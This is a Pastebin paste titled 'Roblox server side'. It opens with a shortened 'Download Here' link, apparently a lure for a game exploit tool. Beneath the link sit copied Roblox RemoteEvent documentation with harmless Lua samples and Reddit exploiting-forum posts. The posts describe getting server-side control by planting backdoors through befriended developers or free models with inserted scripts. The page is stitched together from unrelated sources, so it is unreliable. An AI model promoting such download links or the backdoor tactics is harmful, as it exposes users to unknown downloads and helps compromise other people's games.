API tools faq
paste
Advertisement
Guest User

Roblox server side

a guest
Nov 9th, 2024
3,912
2
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.43 KB | None | 2 0
raw download clone embed print report
  1. -
  2. Download Here --> https://tinyurl.com/ytwvd2es (Copy and Paste Link)
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9. RemoteEvent
  10. A RemoteEvent is designed to provide a one-way message between the server and clients, allowing Scripts to call code in LocalScripts and vice-versa. This message can be directed from one client to the server, from the server to a particular client, or from the server to all clients.
  11. In order for both the server and clients to utilize a remote event, the RemoteEvent object itself must be in a place where both sides can see it. As such, we recommend that you store the RemoteEvent inside of ReplicatedStorage , although in some cases it's appropriate to store it in the workspace or inside a Tool .
  12. If you need the result of the call, you should use a RemoteFunction instead. Otherwise a remote event is recommended since it will minimize network traffic/latency and won't yield the script to wait for a response. For more information, see Remote Events and Functions .
  13. Code Samples
  14. local ReplicatedStorage = game:GetService("ReplicatedStorage") local createPartEvent = Instance.new("RemoteEvent") createPartEvent.Name = "CreatePartEvent" createPartEvent.Parent = ReplicatedStorage local function onCreatePartFired(player, color, position) print(player.Name, "wants to create a part") local newPart = Instance.new("Part") newPart.BrickColor = color newPart.Position = position newPart.Parent = workspace end createPartEvent.OnServerEvent:Connect(onCreatePartFired)
  15. local ReplicatedStorage = game:GetService("ReplicatedStorage") local createPartEvent = ReplicatedStorage:WaitForChild("CreatePartEvent") createPartEvent:FireServer(BrickColor.Green(), Vector3.new(10, 20, 0))
  16. local Players = game:GetService("Players") local ReplicatedStorage = game:GetService("ReplicatedStorage") local welcomePlayerEvent = Instance.new("RemoteEvent") welcomePlayerEvent.Parent = ReplicatedStorage welcomePlayerEvent.Name = "WelcomePlayerEvent" local function onPlayerAdded(player) welcomePlayerEvent:FireClient(player) end Players.PlayerAdded:Connect(onPlayerAdded)
  17. local Players = game:GetService("Players") local ReplicatedStorage = game:GetService("ReplicatedStorage") local player = Players.LocalPlayer local welcomePlayerEvent = ReplicatedStorage:WaitForChild("WelcomePlayerEvent") local playerGui = player:WaitForChild("PlayerGui") local welcomeScreen = Instance.new("ScreenGui") welcomeScreen.Parent = playerGui local welcomeMessage = Instance.new("TextLabel") welcomeMessage.Size = UDim2.new(0, 200, 0, 50) welcomeMessage.Parent = welcomeScreen welcomeMessage.Visible = false welcomeMessage.Text = "Welcome to the game!" local function onWelcomePlayerFired() welcomeMessage.Visible = true task.wait(3) welcomeMessage.Visible = false end welcomePlayerEvent.OnClientEvent:Connect(onWelcomePlayerFired)
  18. local Players = game:GetService("Players") local newPlayerEvent = Instance.new("RemoteEvent") newPlayerEvent.Parent = game.ReplicatedStorage newPlayerEvent.Name = "NewPlayer" local function onPlayerAdded(_player) newPlayerEvent:FireAllClients() end Players.PlayerAdded:Connect(onPlayerAdded)
  19. local Players = game:GetService("Players") local ReplicatedStorage = game:GetService("ReplicatedStorage") local player = Players.LocalPlayer local newPlayerEvent = ReplicatedStorage:WaitForChild("NewPlayerEvent") local playerGui = player:WaitForChild("PlayerGui") local welcomeScreen = Instance.new("ScreenGui") welcomeScreen.Parent = playerGui local newPlayerMessage = Instance.new("TextLabel") newPlayerMessage.Size = UDim2.new(0, 200, 0, 50) newPlayerMessage.Parent = welcomeScreen newPlayerMessage.Visible = false newPlayerMessage.Text = "A new player has joined the game!" local function onNewPlayerFired() newPlayerMessage.Visible = true task.wait(3) newPlayerMessage.Visible = false end newPlayerEvent.OnClientEvent:Connect(onNewPlayerFired)
  20. Summary
  21. Properties
  22. Methods
  23. Fires the RemoteEvent.OnClientEvent event for each client.
  24. Fires RemoteEvent.OnClientEvent for the specified player.
  25. Fires the RemoteEvent.OnServerEvent event on the server using the arguments specified with an additional player argument at the beginning.
  26. Events
  27. Fires listening functions in Script when RemoteEvent:FireServer() is called from a LocalScript .
  28. Properties
  29. Methods
  30. FireAllClients
  31. The FireAllClients function fires the RemoteEvent.OnClientEvent event for each client.
  32. Unlike RemoteEvent:FireClient() , this event does not take a target player as an argument. Instead it will fire to all clients who have the same remote event connected to an OnClientEvent event.
  33. Since this function is used to communicate from the server to the client, it will only work when used in a Script .
  34. The behavior of this function, as well as other RemoteEvent and RemoteFunction events and functions, is well documented in this article.
  35. There are limitations on the kinds of data that can be passed between the client and server. For more information, see Argument Limitations .
  36. Data can be passed from server to client through remote events in the same way data is passed from client to server. Any extra information can be passed in as arguments to the RemoteEvent:FireClient() and FireAllClients functions. Note that the FireClient function still needs to pass the player to send the message to as the first argument.
  37. Parameters
  38. The arguments that will be passed to all RemoteEvent.OnClientEvent methods.
  39. Returns
  40. Code Samples
  41. local Players = game:GetService("Players") local newPlayerEvent = Instance.new("RemoteEvent") newPlayerEvent.Parent = game.ReplicatedStorage newPlayerEvent.Name = "NewPlayer" local function onPlayerAdded(_player) newPlayerEvent:FireAllClients() end Players.PlayerAdded:Connect(onPlayerAdded)
  42. local Players = game:GetService("Players") local ReplicatedStorage = game:GetService("ReplicatedStorage") local player = Players.LocalPlayer local newPlayerEvent = ReplicatedStorage:WaitForChild("NewPlayerEvent") local playerGui = player:WaitForChild("PlayerGui") local welcomeScreen = Instance.new("ScreenGui") welcomeScreen.Parent = playerGui local newPlayerMessage = Instance.new("TextLabel") newPlayerMessage.Size = UDim2.new(0, 200, 0, 50) newPlayerMessage.Parent = welcomeScreen newPlayerMessage.Visible = false newPlayerMessage.Text = "A new player has joined the game!" local function onNewPlayerFired() newPlayerMessage.Visible = true task.wait(3) newPlayerMessage.Visible = false end newPlayerEvent.OnClientEvent:Connect(onNewPlayerFired)
  43. FireClient
  44. FireClient causes OnClientEvent to be fired in LocalScript s running for the given Player . Additional data passed to this function is then provided to OnClientEvent; beware of limitations on this data.
  45. Since this function is used for communication from server to client, so it will only work when used by a server-side Script . For client-to-server communication (the other direction), use FireServer . Direct client-to-client communication not possible on Roblox; however, it can be simulated using a Script that relays information received through some other means, such as FireServer .
  46. There are limitations on the kinds of data that can be passed between the client and server. For more information, see Argument Limitations
  47. Remote Functions and Events , which describes related classes, functions and events and also important limitations on the data that can be sent
  48. Sometimes a game will need to send information from one client to another. Roblox does not support direct client to client contact, so any communication must first go through the server. This is typically done using remote events (although functions could be used if desired). First, the sending client would call FireServer. On the server, the function connected to OnServerEvent would hear this firing, and itself would then call FireClient.
  49. Parameters
  50. The Player that the remote event is being fired to.
  51. How do I get serverside access on any ROBLOX game?
  52. can anybody issue me a step by step guide if this is possible?
  53. You will already have serversided access when you play the game. Press F9 and you'll see the Dev console and then on the top there should be a server option. You then can see a command bar at the bottom where you can run serversided scripts.
  54. for instance, if I try to run grab knife v4, will it work?
  55. so basically the dev would have to insert a backdoor into it so you would need to befriend them and get access or make a plugin that they adf
  56. you need to have access to the backdoor to access the backdoor you can make a free model and insert scripts to it
  57. About Community
  58. Reddit's #1 ROBLOX Exploiting community. Whether it's scripts, tutorials, memes or anything else - we've got it!
  59. Reddit and its partners use cookies and similar technologies to provide you with a better experience. By accepting all cookies, you agree to our use of cookies to deliver and maintain our services and site, improve the quality of Reddit, personalize Reddit content and advertising, and measure the effectiveness of advertising. By rejecting non-essential cookies, Reddit may still use certain cookies to ensure the proper functionality of our platform. For more information, please see our Cookie Notice and our Privacy Policy .
  60. What is a server side?
  61. I've heard people talk about server sides but what is the difference between a normal executor and a server side?
  62. This is all because of FE (Filtering Enabled), and what that does is make it so that the following happens:
  63. Let's assume there are two clients (players) in a game, Client A and Client B.
  64. Client A has an executor, and changes the color of a brick. Filtering Enabled checks if Client A has "network ownership" of that brick.-If they do, then the changes are "replicated" to the server, and Client B will see the brick change color.-If they don't, then nothing happens. Only Client A will see the brick change color.
  65. By default, every client has network ownership of their own character, and only the server can change an object's network ownership. This is useful because if the player's internet slows down, then the objects they have network ownership of will still continue to function normally and won't look laggy.
  66. So, what's a server-side? Because, in a game, the server can do anything, and any changes it makes are replicated to all clients in the game, if you manage to get a backdoor in a serverscript, you could do a ton more stuff, like unanchor the whole map.
  67. But, backdoors can be hard to get into any game with a decent player count, so, it's not really worth your time.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!